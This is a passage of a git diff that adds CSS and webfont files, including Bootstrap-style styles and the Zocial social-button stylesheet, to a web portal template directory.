#ddd}.panel>.table-bordered,.panel>.table-responsive>.table-bordered{border:0}.panel>.table-bordered>thead>tr>th:first-child,.panel>.table-responsive>.table-bordered>thead>tr>th:first-child,.panel>.table-bordered>tbody>tr>th:first-child,.panel>.table-responsive>.table-bordered>tbody>tr>th:first-child,.panel>.table-bordered>tfoot>tr>th:first-child,.panel>.table-responsive>.table-bordered>tfoot>tr>th:first-child,.panel>.table-bordered>thead>tr>td:first-child,.panel>.table-responsive>.table-bordered>thead>tr>td:first-child,.panel>.table-bordered>tbody>tr>td:first-child,.panel>.table-responsive>.table-bordered>tbody>tr>td:first-child,.panel>.table-bordered>tfoot>tr>td:first-child,.panel>.table-responsive>.table-bordered>tfoot>tr>td:first-child{border-left:0}.panel>.table-bordered>thead>tr>th:last-child,.panel>.table-responsive>.table-bordered>thead>tr>th:last-child,.panel>.table-bordered>tbody>tr>th:last-child,.panel>.table-responsive>.table-bordered>tbody>tr>th:last-child,.panel>.table-bordered>tfoot>tr>th:last-child,.panel>.table-responsive>.table-bordered>tfoot>tr>th:last-child,.panel>.table-bordered>thead>tr>td:last-child,.panel>.table-responsive>.table-bordered>thead>tr>td:last-child,.panel>.table-bordered>tbody>tr>td:last-child,.panel>.table-responsive>.table-bordered>tbody>tr>td:last-child,.panel>.table-bordered>tfoot>tr>td:last-child,.panel>.table-responsive>.table-bordered>tfoot>tr>td:last-child{border-right:0}.panel>.table-bordered>thead>tr:last-child>th,.panel>.table-responsive>.table-bordered>thead>tr:last-child>th,.panel>.table-bordered>tbody>tr:last-child>th,.panel>.table-responsive>.table-bordered>tbody>tr:last-child>th,.panel>.table-bordered>tfoot>tr:last-child>th,.panel>.table-responsive>.table-bordered>tfoot>tr:last-child>th,.panel>.table-bordered>thead>tr:last-child>td,.panel>.table-responsive>.table-bordered>thead>tr:last-child>td,.panel>.table-bordered>tbody>tr:last-child>td,.panel>.table-responsive>.table-bordered>tbody>tr:last-child>td,.panel>.table-bordered>tfoot>tr:last-child>td,.panel>.table-responsive>.table-bordered>tfoot>tr:last-child>td{border-bottom:0}.panel-heading{padding:10px 15px;border-bottom:1px solid transparent;border-top-right-radius:3px;border-top-left-radius:3px}.panel-heading>.dropdown .dropdown-toggle{color:inherit}.panel-title{margin-top:0;margin-bottom:0;font-size:16px}.panel-title>a{color:inherit}.panel-footer{padding:10px 15px;background-color:#f5f5f5;border-top:1px solid #ddd;border-bottom-right-radius:3px;border-bottom-left-radius:3px}.panel-group .panel{margin-bottom:0;overflow:hidden;border-radius:4px}.panel-group .panel+.panel{margin-top:5px}.panel-group .panel-heading{border-bottom:0}.panel-group .panel-heading+.panel-collapse .panel-body{border-top:1px solid #ddd}.panel-group .panel-footer{border-top:0}.panel-group .panel-footer+.panel-collapse .panel-body{border-bottom:1px solid #ddd}.panel-default{border-color:#ddd}.panel-default>.panel-heading{color:#555;background-color:#f5f5f5;border-color:#ddd}.panel-default>.panel-heading+.panel-collapse .panel-body{border-top-color:#ddd}.panel-default>.panel-heading>.dropdown .caret{border-color:#555 transparent}.panel-default>.panel-footer+.panel-collapse .panel-body{border-bottom-color:#ddd}.panel-primary{border-color:#ddd}.panel-primary>.panel-heading{color:#fff;background-color:#2fa4e7;border-color:#ddd}.panel-primary>.panel-heading+.panel-collapse .panel-body{border-top-color:#ddd}.panel-primary>.panel-heading>.dropdown .caret{border-color:#fff transparent}.panel-primary>.panel-footer+.panel-collapse .panel-body{border-bottom-color:#ddd}.panel-success{border-color:#ddd}.panel-success>.panel-heading{color:#468847;background-color:#73a839;border-color:#ddd}.panel-success>.panel-heading+.panel-collapse .panel-body{border-top-color:#ddd}.panel-success>.panel-heading>.dropdown .caret{border-color:#468847 transparent}.panel-success>.panel-footer+.panel-collapse .panel-body{border-bottom-color:#ddd}.panel-warning{border-color:#ddd}.panel-warning>.panel-heading{color:#c09853;background-color:#dd5600;border-color:#ddd}.panel-warning>.panel-heading+.panel-collapse .panel-body{border-top-color:#ddd}.panel-warning>.panel-heading>.dropdown .caret{border-color:#c09853 transparent}.panel-warning>.panel-footer+.panel-collapse .panel-body{border-bottom-color:#ddd}.panel-danger{border-color:#ddd}.panel-danger>.panel-heading{color:#b94a48;background-color:#c71c22;border-color:#ddd}.panel-danger>.panel-heading+.panel-collapse .panel-body{border-top-color:#ddd}.panel-danger>.panel-heading>.dropdown .caret{border-color:#b94a48 transparent}.panel-danger>.panel-footer+.panel-collapse .panel-body{border-bottom-color:#ddd}.panel-info{border-color:#ddd}.panel-info>.panel-heading{color:#3a87ad;background-color:#033c73;border-color:#ddd}.panel-info>.panel-heading+.panel-collapse .panel-body{border-top-color:#ddd}.panel-info>.panel-heading>.dropdown .caret{border-color:#3a87ad transparent}.panel-info>.panel-footer+.panel-collapse .panel-body{border-bottom-color:#ddd}.well{min-height:20px;padding:19px;margin-bottom:20px;background-color:#f5f5f5;border:1px solid #e3e3e3;border-radius:4px;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.05);box-shadow:inset 0 1px 1px rgba(0,0,0,0.05)}.well blockquote{border-color:#ddd;border-color:rgba(0,0,0,0.15)}.well-lg{padding:24px;border-radius:6px}.well-sm{padding:9px;border-radius:3px}.close{float:right;font-size:21px;font-weight:bold;line-height:1;color:#000;text-shadow:0 1px 0 #fff;opacity:.2;filter:alpha(opacity=20)}.close:hover,.close:focus{color:#000;text-decoration:none;cursor:pointer;opacity:.5;filter:alpha(opacity=50)}button.close{padding:0;cursor:pointer;background:transparent;border:0;-webkit-appearance:none}.modal-open{overflow:hidden}.modal{position:fixed;top:0;right:0;bottom:0;left:0;z-index:1040;display:none;overflow:auto;overflow-y:scroll}.modal.fade .modal-dialog{-webkit-transform:translate(0,-25%);-ms-transform:translate(0,-25%);transform:translate(0,-25%);-webkit-transition:-webkit-transform .3s ease-out;-moz-transition:-moz-transform .3s ease-out;-o-transition:-o-transform .3s ease-out;transition:transform .3s ease-out}.modal.in .modal-dialog{-webkit-transform:translate(0,0);-ms-transform:translate(0,0);transform:translate(0,0)}.modal-dialog{position:relative;z-index:1050;width:auto;padding:10px;margin-right:auto;margin-left:auto}.modal-content{position:relative;background-color:#fff;border:1px solid #999;border:1px solid rgba(0,0,0,0.2);border-radius:6px;outline:0;-webkit-box-shadow:0 3px 9px rgba(0,0,0,0.5);box-shadow:0 3px 9px rgba(0,0,0,0.5);background-clip:padding-box}.modal-backdrop{position:fixed;top:0;right:0;bottom:0;left:0;z-index:1030;background-color:#000}.modal-backdrop.fade{opacity:0;filter:alpha(opacity=0)}.modal-backdrop.in{opacity:.5;filter:alpha(opacity=50)}.modal-header{min-height:16.428571429px;padding:15px;border-bottom:1px solid #e5e5e5}.modal-header .close{margin-top:-2px}.modal-title{margin:0;line-height:1.428571429}.modal-body{position:relative;padding:20px}.modal-footer{padding:19px 20px 20px;margin-top:15px;text-align:right;border-top:1px solid #e5e5e5}.modal-footer:before,.modal-footer:after{display:table;content:" "}.modal-footer:after{clear:both}.modal-footer:before,.modal-footer:after{display:table;content:" "}.modal-footer:after{clear:both}.modal-footer:before,.modal-footer:after{display:table;content:" "}.modal-footer:after{clear:both}.modal-footer:before,.modal-footer:after{display:table;content:" "}.modal-footer:after{clear:both}.modal-footer:before,.modal-footer:after{display:table;content:" "}.modal-footer:after{clear:both}.modal-footer .btn+.btn{margin-bottom:0;margin-left:5px}.modal-footer .btn-group .btn+.btn{margin-left:-1px}.modal-footer .btn-block+.btn-block{margin-left:0}@media screen and (min-width:768px){.modal-dialog{width:600px;padding-top:30px;padding-bottom:30px}.modal-content{-webkit-box-shadow:0 5px 15px rgba(0,0,0,0.5);box-shadow:0 5px 15px rgba(0,0,0,0.5)}}.tooltip{position:absolute;z-index:1030;display:block;font-size:12px;line-height:1.4;opacity:0;filter:alpha(opacity=0);visibility:visible}.tooltip.in{opacity:.9;filter:alpha(opacity=90)}.tooltip.top{padding:5px 0;margin-top:-3px}.tooltip.right{padding:0 5px;margin-left:3px}.tooltip.bottom{padding:5px 0;margin-top:3px}.tooltip.left{padding:0 5px;margin-left:-3px}.tooltip-inner{max-width:200px;padding:3px 8px;color:#fff;text-align:center;text-decoration:none;background-color:rgba(0,0,0,0.9);border-radius:4px}.tooltip-arrow{position:absolute;width:0;height:0;border-color:transparent;border-style:solid}.tooltip.top .tooltip-arrow{bottom:0;left:50%;margin-left:-5px;border-top-color:rgba(0,0,0,0.9);border-width:5px 5px 0}.tooltip.top-left .tooltip-arrow{bottom:0;left:5px;border-top-color:rgba(0,0,0,0.9);border-width:5px 5px 0}.tooltip.top-right .tooltip-arrow{right:5px;bottom:0;border-top-color:rgba(0,0,0,0.9);border-width:5px 5px 0}.tooltip.right .tooltip-arrow{top:50%;left:0;margin-top:-5px;border-right-color:rgba(0,0,0,0.9);border-width:5px 5px 5px 0}.tooltip.left .tooltip-arrow{top:50%;right:0;margin-top:-5px;border-left-color:rgba(0,0,0,0.9);border-width:5px 0 5px 5px}.tooltip.bottom .tooltip-arrow{top:0;left:50%;margin-left:-5px;border-bottom-color:rgba(0,0,0,0.9);border-width:0 5px 5px}.tooltip.bottom-left .tooltip-arrow{top:0;left:5px;border-bottom-color:rgba(0,0,0,0.9);border-width:0 5px 5px}.tooltip.bottom-right .tooltip-arrow{top:0;right:5px;border-bottom-color:rgba(0,0,0,0.9);border-width:0 5px 5px}.popover{position:absolute;top:0;left:0;z-index:1010;display:none;max-width:276px;padding:1px;text-align:left;white-space:normal;background-color:#fff;border:1px solid #ccc;border:1px solid rgba(0,0,0,0.2);border-radius:6px;-webkit-box-shadow:0 5px 10px rgba(0,0,0,0.2);box-shadow:0 5px 10px rgba(0,0,0,0.2);background-clip:padding-box}.popover.top{margin-top:-10px}.popover.right{margin-left:10px}.popover.bottom{margin-top:10px}.popover.left{margin-left:-10px}.popover-title{padding:8px 14px;margin:0;font-size:14px;font-weight:normal;line-height:18px;background-color:#f7f7f7;border-bottom:1px solid #ebebeb;border-radius:5px 5px 0 0}.popover-content{padding:9px 14px}.popover .arrow,.popover .arrow:after{position:absolute;display:block;width:0;height:0;border-color:transparent;border-style:solid}.popover .arrow{border-width:11px}.popover .arrow:after{border-width:10px;content:""}.popover.top .arrow{bottom:-11px;left:50%;margin-left:-11px;border-top-color:#999;border-top-color:rgba(0,0,0,0.25);border-bottom-width:0}.popover.top .arrow:after{bottom:1px;margin-left:-10px;border-top-color:#fff;border-bottom-width:0;content:" "}.popover.right .arrow{top:50%;left:-11px;margin-top:-11px;border-right-color:#999;border-right-color:rgba(0,0,0,0.25);border-left-width:0}.popover.right .arrow:after{bottom:-10px;left:1px;border-right-color:#fff;border-left-width:0;content:" "}.popover.bottom .arrow{top:-11px;left:50%;margin-left:-11px;border-bottom-color:#999;border-bottom-color:rgba(0,0,0,0.25);border-top-width:0}.popover.bottom .arrow:after{top:1px;margin-left:-10px;border-bottom-color:#fff;border-top-width:0;content:" "}.popover.left .arrow{top:50%;right:-11px;margin-top:-11px;border-left-color:#999;border-left-color:rgba(0,0,0,0.25);border-right-width:0}.popover.left .arrow:after{right:1px;bottom:-10px;border-left-color:#fff;border-right-width:0;content:" "}.carousel{position:relative}.carousel-inner{position:relative;width:100%;overflow:hidden}.carousel-inner>.item{position:relative;display:none;-webkit-transition:.6s ease-in-out left;transition:.6s ease-in-out left}.carousel-inner>.item>img,.carousel-inner>.item>a>img{display:block;height:auto;max-width:100%;line-height:1}.carousel-inner>.active,.carousel-inner>.next,.carousel-inner>.prev{display:block}.carousel-inner>.active{left:0}.carousel-inner>.next,.carousel-inner>.prev{position:absolute;top:0;width:100%}.carousel-inner>.next{left:100%}.carousel-inner>.prev{left:-100%}.carousel-inner>.next.left,.carousel-inner>.prev.right{left:0}.carousel-inner>.active.left{left:-100%}.carousel-inner>.active.right{left:100%}.carousel-control{position:absolute;top:0;bottom:0;left:0;width:15%;font-size:20px;color:#fff;text-align:center;text-shadow:0 1px 2px rgba(0,0,0,0.6);opacity:.5;filter:alpha(opacity=50)}.carousel-control.left{background-image:-webkit-gradient(linear,0 top,100% top,from(rgba(0,0,0,0.5)),to(rgba(0,0,0,0.0001)));background-image:-webkit-linear-gradient(left,color-stop(rgba(0,0,0,0.5) 0),color-stop(rgba(0,0,0,0.0001) 100%));background-image:-moz-linear-gradient(left,rgba(0,0,0,0.5) 0,rgba(0,0,0,0.0001) 100%);background-image:linear-gradient(to right,rgba(0,0,0,0.5) 0,rgba(0,0,0,0.0001) 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#80000000',endColorstr='#00000000',GradientType=1)}.carousel-control.right{right:0;left:auto;background-image:-webkit-gradient(linear,0 top,100% top,from(rgba(0,0,0,0.0001)),to(rgba(0,0,0,0.5)));background-image:-webkit-linear-gradient(left,color-stop(rgba(0,0,0,0.0001) 0),color-stop(rgba(0,0,0,0.5) 100%));background-image:-moz-linear-gradient(left,rgba(0,0,0,0.0001) 0,rgba(0,0,0,0.5) 100%);background-image:linear-gradient(to right,rgba(0,0,0,0.0001) 0,rgba(0,0,0,0.5) 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#00000000',endColorstr='#80000000',GradientType=1)}.carousel-control:hover,.carousel-control:focus{color:#fff;text-decoration:none;opacity:.9;filter:alpha(opacity=90)}.carousel-control .icon-prev,.carousel-control .icon-next,.carousel-control .glyphicon-chevron-left,.carousel-control .glyphicon-chevron-right{position:absolute;top:50%;z-index:5;display:inline-block}.carousel-control .icon-prev,.carousel-control .glyphicon-chevron-left{left:50%}.carousel-control .icon-next,.carousel-control .glyphicon-chevron-right{right:50%}.carousel-control .icon-prev,.carousel-control .icon-next{width:20px;height:20px;margin-top:-10px;margin-left:-10px;font-family:serif}.carousel-control .icon-prev:before{content:'\2039'}.carousel-control .icon-next:before{content:'\203a'}.carousel-indicators{position:absolute;bottom:10px;left:50%;z-index:15;width:60%;padding-left:0;margin-left:-30%;text-align:center;list-style:none}.carousel-indicators li{display:inline-block;width:10px;height:10px;margin:1px;text-indent:-999px;cursor:pointer;background-color:#000 \9;background-color:rgba(0,0,0,0);border:1px solid #fff;border-radius:10px}.carousel-indicators .active{width:12px;height:12px;margin:0;background-color:#fff}.carousel-caption{position:absolute;right:15%;bottom:20px;left:15%;z-index:10;padding-top:20px;padding-bottom:20px;color:#fff;text-align:center;text-shadow:0 1px 2px rgba(0,0,0,0.6)}.carousel-caption .btn{text-shadow:none}@media screen and (min-width:768px){.carousel-control .glyphicons-chevron-left,.carousel-control .glyphicons-chevron-right,.carousel-control .icon-prev,.carousel-control .icon-next{width:30px;height:30px;margin-top:-15px;margin-left:-15px;font-size:30px}.carousel-caption{right:20%;left:20%;padding-bottom:30px}.carousel-indicators{bottom:20px}}.clearfix:before,.clearfix:after{display:table;content:" "}.clearfix:after{clear:both}.clearfix:before,.clearfix:after{display:table;content:" "}.clearfix:after{clear:both}.center-block{display:block;margin-right:auto;margin-left:auto}.pull-right{float:right!important}.pull-left{float:left!important}.hide{display:none!important}.show{display:block!important}.invisible{visibility:hidden}.text-hide{font:0/0 a;color:transparent;text-shadow:none;background-color:transparent;border:0}.hidden{display:none!important;visibility:hidden!important}.affix{position:fixed}@-ms-viewport{width:device-width}.visible-xs,tr.visible-xs,th.visible-xs,td.visible-xs{display:none!important}@media(max-width:767px){.visible-xs{display:block!important}tr.visible-xs{display:table-row!important}th.visible-xs,td.visible-xs{display:table-cell!important}}@media(min-width:768px) and (max-width:991px){.visible-xs.visible-sm{display:block!important}tr.visible-xs.visible-sm{display:table-row!important}th.visible-xs.visible-sm,td.visible-xs.visible-sm{display:table-cell!important}}@media(min-width:992px) and (max-width:1199px){.visible-xs.visible-md{display:block!important}tr.visible-xs.visible-md{display:table-row!important}th.visible-xs.visible-md,td.visible-xs.visible-md{display:table-cell!important}}@media(min-width:1200px){.visible-xs.visible-lg{display:block!important}tr.visible-xs.visible-lg{display:table-row!important}th.visible-xs.visible-lg,td.visible-xs.visible-lg{display:table-cell!important}}.visible-sm,tr.visible-sm,th.visible-sm,td.visible-sm{display:none!important}@media(max-width:767px){.visible-sm.visible-xs{display:block!important}tr.visible-sm.visible-xs{display:table-row!important}th.visible-sm.visible-xs,td.visible-sm.visible-xs{display:table-cell!important}}@media(min-width:768px) and (max-width:991px){.visible-sm{display:block!important}tr.visible-sm{display:table-row!important}th.visible-sm,td.visible-sm{display:table-cell!important}}@media(min-width:992px) and (max-width:1199px){.visible-sm.visible-md{display:block!important}tr.visible-sm.visible-md{display:table-row!important}th.visible-sm.visible-md,td.visible-sm.visible-md{display:table-cell!important}}@media(min-width:1200px){.visible-sm.visible-lg{display:block!important}tr.visible-sm.visible-lg{display:table-row!important}th.visible-sm.visible-lg,td.visible-sm.visible-lg{display:table-cell!important}}.visible-md,tr.visible-md,th.visible-md,td.visible-md{display:none!important}@media(max-width:767px){.visible-md.visible-xs{display:block!important}tr.visible-md.visible-xs{display:table-row!important}th.visible-md.visible-xs,td.visible-md.visible-xs{display:table-cell!important}}@media(min-width:768px) and (max-width:991px){.visible-md.visible-sm{display:block!important}tr.visible-md.visible-sm{display:table-row!important}th.visible-md.visible-sm,td.visible-md.visible-sm{display:table-cell!important}}@media(min-width:992px) and (max-width:1199px){.visible-md{display:block!important}tr.visible-md{display:table-row!important}th.visible-md,td.visible-md{display:table-cell!important}}@media(min-width:1200px){.visible-md.visible-lg{display:block!important}tr.visible-md.visible-lg{display:table-row!important}th.visible-md.visible-lg,td.visible-md.visible-lg{display:table-cell!important}}.visible-lg,tr.visible-lg,th.visible-lg,td.visible-lg{display:none!important}@media(max-width:767px){.visible-lg.visible-xs{display:block!important}tr.visible-lg.visible-xs{display:table-row!important}th.visible-lg.visible-xs,td.visible-lg.visible-xs{display:table-cell!important}}@media(min-width:768px) and (max-width:991px){.visible-lg.visible-sm{display:block!important}tr.visible-lg.visible-sm{display:table-row!important}th.visible-lg.visible-sm,td.visible-lg.visible-sm{display:table-cell!important}}@media(min-width:992px) and (max-width:1199px){.visible-lg.visible-md{display:block!important}tr.visible-lg.visible-md{display:table-row!important}th.visible-lg.visible-md,td.visible-lg.visible-md{display:table-cell!important}}@media(min-width:1200px){.visible-lg{display:block!important}tr.visible-lg{display:table-row!important}th.visible-lg,td.visible-lg{display:table-cell!important}}.hidden-xs{display:block!important}tr.hidden-xs{display:table-row!important}th.hidden-xs,td.hidden-xs{display:table-cell!important}@media(max-width:767px){.hidden-xs,tr.hidden-xs,th.hidden-xs,td.hidden-xs{display:none!important}}@media(min-width:768px) and (max-width:991px){.hidden-xs.hidden-sm,tr.hidden-xs.hidden-sm,th.hidden-xs.hidden-sm,td.hidden-xs.hidden-sm{display:none!important}}@media(min-width:992px) and (max-width:1199px){.hidden-xs.hidden-md,tr.hidden-xs.hidden-md,th.hidden-xs.hidden-md,td.hidden-xs.hidden-md{display:none!important}}@media(min-width:1200px){.hidden-xs.hidden-lg,tr.hidden-xs.hidden-lg,th.hidden-xs.hidden-lg,td.hidden-xs.hidden-lg{display:none!important}}.hidden-sm{display:block!important}tr.hidden-sm{display:table-row!important}th.hidden-sm,td.hidden-sm{display:table-cell!important}@media(max-width:767px){.hidden-sm.hidden-xs,tr.hidden-sm.hidden-xs,th.hidden-sm.hidden-xs,td.hidden-sm.hidden-xs{display:none!important}}@media(min-width:768px) and (max-width:991px){.hidden-sm,tr.hidden-sm,th.hidden-sm,td.hidden-sm{display:none!important}}@media(min-width:992px) and (max-width:1199px){.hidden-sm.hidden-md,tr.hidden-sm.hidden-md,th.hidden-sm.hidden-md,td.hidden-sm.hidden-md{display:none!important}}@media(min-width:1200px){.hidden-sm.hidden-lg,tr.hidden-sm.hidden-lg,th.hidden-sm.hidden-lg,td.hidden-sm.hidden-lg{display:none!important}}.hidden-md{display:block!important}tr.hidden-md{display:table-row!important}th.hidden-md,td.hidden-md{display:table-cell!important}@media(max-width:767px){.hidden-md.hidden-xs,tr.hidden-md.hidden-xs,th.hidden-md.hidden-xs,td.hidden-md.hidden-xs{display:none!important}}@media(min-width:768px) and (max-width:991px){.hidden-md.hidden-sm,tr.hidden-md.hidden-sm,th.hidden-md.hidden-sm,td.hidden-md.hidden-sm{display:none!important}}@media(min-width:992px) and (max-width:1199px){.hidden-md,tr.hidden-md,th.hidden-md,td.hidden-md{display:none!important}}@media(min-width:1200px){.hidden-md.hidden-lg,tr.hidden-md.hidden-lg,th.hidden-md.hidden-lg,td.hidden-md.hidden-lg{display:none!important}}.hidden-lg{display:block!important}tr.hidden-lg{display:table-row!important}th.hidden-lg,td.hidden-lg{display:table-cell!important}@media(max-width:767px){.hidden-lg.hidden-xs,tr.hidden-lg.hidden-xs,th.hidden-lg.hidden-xs,td.hidden-lg.hidden-xs{display:none!important}}@media(min-width:768px) and (max-width:991px){.hidden-lg.hidden-sm,tr.hidden-lg.hidden-sm,th.hidden-lg.hidden-sm,td.hidden-lg.hidden-sm{display:none!important}}@media(min-width:992px) and (max-width:1199px){.hidden-lg.hidden-md,tr.hidden-lg.hidden-md,th.hidden-lg.hidden-md,td.hidden-lg.hidden-md{display:none!important}}@media(min-width:1200px){.hidden-lg,tr.hidden-lg,th.hidden-lg,td.hidden-lg{display:none!important}}.visible-print,tr.visible-print,th.visible-print,td.visible-print{display:none!important}@media print{.visible-print{display:block!important}tr.visible-print{display:table-row!important}th.visible-print,td.visible-print{display:table-cell!important}.hidden-print,tr.hidden-print,th.hidden-print,td.hidden-print{display:none!important}}.navbar{background-image:-webkit-gradient(linear,0 0,0 100%,from(#54b4eb),color-stop(60%,#2fa4e7),to(#1d9ce5));background-image:-webkit-linear-gradient(#54b4eb,#2fa4e7 60%,#1d9ce5);background-image:-moz-linear-gradient(top,#54b4eb,#2fa4e7 60%,#1d9ce5);background-image:linear-gradient(#54b4eb,#2fa4e7 60%,#1d9ce5);background-repeat:no-repeat;border-bottom:1px solid #178acc;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff54b4eb',endColorstr='#ff1d9ce5',GradientType=0);filter:none;-webkit-box-shadow:0 1px 10px rgba(0,0,0,0.1);box-shadow:0 1px 10px rgba(0,0,0,0.1)}.navbar .navbar-nav>li>a,.navbar-brand{text-shadow:0 1px 1px rgba(0,0,0,0.2)}.navbar-inverse{background-image:-webkit-gradient(linear,0 0,0 100%,from(#04519b),color-stop(60%,#044687),to(#033769));background-image:-webkit-linear-gradient(#04519b,#044687 60%,#033769);background-image:-moz-linear-gradient(top,#04519b,#044687 60%,#033769);background-image:linear-gradient(#04519b,#044687 60%,#033769);background-repeat:no-repeat;border-bottom:1px solid #022241;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff04519b',endColorstr='#ff033769',GradientType=0);filter:none}.btn{text-shadow:0 1px 1px rgba(0,0,0,0.2)}.btn .caret{border-top-color:#fff}.btn-default{background-image:-webkit-gradient(linear,0 0,0 100%,from(#fff),color-stop(60%,#fff),to(#f5f5f5));background-image:-webkit-linear-gradient(#fff,#fff 60%,#f5f5f5);background-image:-moz-linear-gradient(top,#fff,#fff 60%,#f5f5f5);background-image:linear-gradient(#fff,#fff 60%,#f5f5f5);background-repeat:no-repeat;border-bottom:1px solid #e6e6e6;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffffff',endColorstr='#fff5f5f5',GradientType=0);filter:none}.btn-default:hover{color:#555}.btn-default .caret{border-top-color:#555}.btn-default{background-image:-webkit-gradient(linear,0 0,0 100%,from(#fff),color-stop(60%,#fff),to(#f5f5f5));background-image:-webkit-linear-gradient(#fff,#fff 60%,#f5f5f5);background-image:-moz-linear-gradient(top,#fff,#fff 60%,#f5f5f5);background-image:linear-gradient(#fff,#fff 60%,#f5f5f5);background-repeat:no-repeat;border-bottom:1px solid #e6e6e6;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffffff',endColorstr='#fff5f5f5',GradientType=0);filter:none}.btn-primary{background-image:-webkit-gradient(linear,0 0,0 100%,from(#54b4eb),color-stop(60%,#2fa4e7),to(#1d9ce5));background-image:-webkit-linear-gradient(#54b4eb,#2fa4e7 60%,#1d9ce5);background-image:-moz-linear-gradient(top,#54b4eb,#2fa4e7 60%,#1d9ce5);background-image:linear-gradient(#54b4eb,#2fa4e7 60%,#1d9ce5);background-repeat:no-repeat;border-bottom:1px solid #178acc;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff54b4eb',endColorstr='#ff1d9ce5',GradientType=0);filter:none}.btn-success{background-image:-webkit-gradient(linear,0 0,0 100%,from(#88c149),color-stop(60%,#73a839),to(#699934));background-image:-webkit-linear-gradient(#88c149,#73a839 60%,#699934);background-image:-moz-linear-gradient(top,#88c149,#73a839 60%,#699934);background-image:linear-gradient(#88c149,#73a839 60%,#699934);background-repeat:no-repeat;border-bottom:1px solid #59822c;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff88c149',endColorstr='#ff699934',GradientType=0);filter:none}.btn-info{background-image:-webkit-gradient(linear,0 0,0 100%,from(#04519b),color-stop(60%,#033c73),to(#02325f));background-image:-webkit-linear-gradient(#04519b,#033c73 60%,#02325f);background-image:-moz-linear-gradient(top,#04519b,#033c73 60%,#02325f);background-image:linear-gradient(#04519b,#033c73 60%,#02325f);background-repeat:no-repeat;border-bottom:1px solid #022241;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff04519b',endColorstr='#ff02325f',GradientType=0);filter:none}.btn-warning{background-image:-webkit-gradient(linear,0 0,0 100%,from(#ff6707),color-stop(60%,#dd5600),to(#c94e00));background-image:-webkit-linear-gradient(#ff6707,#dd5600 60%,#c94e00);background-image:-moz-linear-gradient(top,#ff6707,#dd5600 60%,#c94e00);background-image:linear-gradient(#ff6707,#dd5600 60%,#c94e00);background-repeat:no-repeat;border-bottom:1px solid #aa4200;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffff6707',endColorstr='#ffc94e00',GradientType=0);filter:none}.btn-danger{background-image:-webkit-gradient(linear,0 0,0 100%,from(#e12b31),color-stop(60%,#c71c22),to(#b5191f));background-image:-webkit-linear-gradient(#e12b31,#c71c22 60%,#b5191f);background-image:-moz-linear-gradient(top,#e12b31,#c71c22 60%,#b5191f);background-image:linear-gradient(#e12b31,#c71c22 60%,#b5191f);background-repeat:no-repeat;border-bottom:1px solid #9a161a;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffe12b31',endColorstr='#ffb5191f',GradientType=0);filter:none}.pagination .active>a,.pagination .active>a:hover{border-color:#ddd}.panel-primary .panel-heading,.panel-success .panel-heading,.panel-warning .panel-heading,.panel-danger .panel-heading,.panel-info .panel-heading,.panel-primary .panel-title,.panel-success .panel-title,.panel-warning .panel-title,.panel-danger .panel-title,.panel-info .panel-title{color:#fff}.clearfix:before,.clearfix:after{display:table;content:" "}.clearfix:after{clear:both}.clearfix:before,.clearfix:after{display:table;content:" "}.clearfix:after{clear:both}.center-block{display:block;margin-right:auto;margin-left:auto}.pull-right{float:right!important}.pull-left{float:left!important}.hide{display:none!important}.show{display:block!important}.invisible{visibility:hidden}.text-hide{font:0/0 a;color:transparent;text-shadow:none;background-color:transparent;border:0}.hidden{display:none!important;visibility:hidden!important}.affix{position:fixed} + +/* +.btn-default[value=Twitter]{ + background:url("http://www.inboxlock.com/Twitter-Login.png"); + color: transparent; + width:182px; + height: 32px; + line-height: 0; + font-size: 0; +}*/ \ No newline at end of file diff --git a/templates/www/portal/Content/zocial-regular-webfont.eot b/templates/www/portal/Content/zocial-regular-webfont.eot new file mode 100644 index 0000000..ff8829a Binary files /dev/null and b/templates/www/portal/Content/zocial-regular-webfont.eot differ diff --git a/templates/www/portal/Content/zocial-regular-webfont.svg b/templates/www/portal/Content/zocial-regular-webfont.svg new file mode 100644 index 0000000..65f7bce --- /dev/null +++ b/templates/www/portal/Content/zocial-regular-webfont.svg @@ -0,0 +1,151 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/templates/www/portal/Content/zocial-regular-webfont.ttf b/templates/www/portal/Content/zocial-regular-webfont.ttf new file mode 100644 index 0000000..a19bff5 Binary files /dev/null and b/templates/www/portal/Content/zocial-regular-webfont.ttf differ diff --git a/templates/www/portal/Content/zocial.css b/templates/www/portal/Content/zocial.css new file mode 100644 index 0000000..47732b6 --- /dev/null +++ b/templates/www/portal/Content/zocial.css @@ -0,0 +1,473 @@ +@charset "UTF-8"; + +/*! + Zocial Butons + http://zocial.smcllns.com + by Sam Collins (@smcllns) + License: http://opensource.org/licenses/mit-license.php + + You are free to use and modify, as long as you keep this license comment intact or link back to zocial.smcllns.com on your site. +*/ + + +/* Button structure */ + +.zocial, +a.zocial { + border: 1px solid #777; + border-color: rgba(0,0,0,0.2); + border-bottom-color: #333; + border-bottom-color: rgba(0,0,0,0.4); + color: #fff; + -moz-box-shadow: inset 0 0.08em 0 rgba(255,255,255,0.4), inset 0 0 0.1em rgba(255,255,255,0.9); + -webkit-box-shadow: inset 0 0.08em 0 rgba(255,255,255,0.4), inset 0 0 0.1em rgba(255,255,255,0.9); + box-shadow: inset 0 0.08em 0 rgba(255,255,255,0.4), inset 0 0 0.1em rgba(255,255,255,0.9); + cursor: pointer; + display: inline-block; + font: bold 100%/2.1 "Lucida Grande", Tahoma, sans-serif; + padding: 0 .95em 0 0; + text-align: center; + text-decoration: none; + text-shadow: 0 1px 0 rgba(0,0,0,0.5); + white-space: nowrap; + + -moz-user-select: none; + -webkit-user-select: none; + user-select: none; + + position: relative; + + -moz-border-radius: .3em; + 